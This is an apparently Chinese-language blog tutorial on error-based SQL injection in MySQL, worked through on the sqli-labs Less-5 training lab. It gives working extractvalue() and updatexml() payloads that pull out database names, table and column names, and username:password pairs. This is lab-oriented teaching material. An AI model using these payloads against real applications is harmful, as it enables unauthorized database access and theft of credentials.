sql注入(二)报错注入

报错注入

  报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息。

 

函数参数格式错误:

  两个重要函数:updatexml() extractvalue (),我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错

updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)

XML_document:是字符串String格式,为XML文档对象名称

Xpath_string:Xpath格式的字符串

new_value:string格式,替换查找到的符合条件的数据

 

extractvalue()函数语法:extractvalue(XML_document,XPath_string)

 

结合sqli靶场第五关使用报错注入

  sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database())))--+这条语句意思回显数据库名称

 

   ?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ 这条语句意思是通过报错函数回显数据库版本信息

   查询数据表信息Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))--+

   查users表中具体的字段信息?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))--+

   查具体的字段值?id=1' and extractvalue(1,concat(0x7e,(select group_concat(concat_ws(':',id,username,password)) from users)))--+

   这里显示不全,没有将全部的字段值查出来,原因是extractvalue()和updatexml()函数最大显示32位字符;想要查询出全部的信息,可以结合limit substr等函数使用。例如下面语句只显示users表中第一条记录。

  ?id=1' and extractvalue(1,concat(0x7e,(select concat_ws(':',id,username,password) from users limit 0,1)))--+

  

limit用于强制返回指定的记录行数

  limit [offset,] rows

  offset参数指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0

  rows返回具体行数

例如下面语句查询

select * from table_name limit 10;检索前10行记录
select * from table_name limit 5 ,10;从第6行开始,检索10行记录,即:检索记录行 6-15

 

以上注入是使用extractvalue()函数,其实使用updatexml()函数原理也是一样,都是通过XPATH语法报错回显信息

?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),1)--+

 

  

 

  

 

 

 

 

 

  

 

posted @ 2023-04-27 17:55  ZT不高兴  阅读(194)  评论(0)    收藏  举报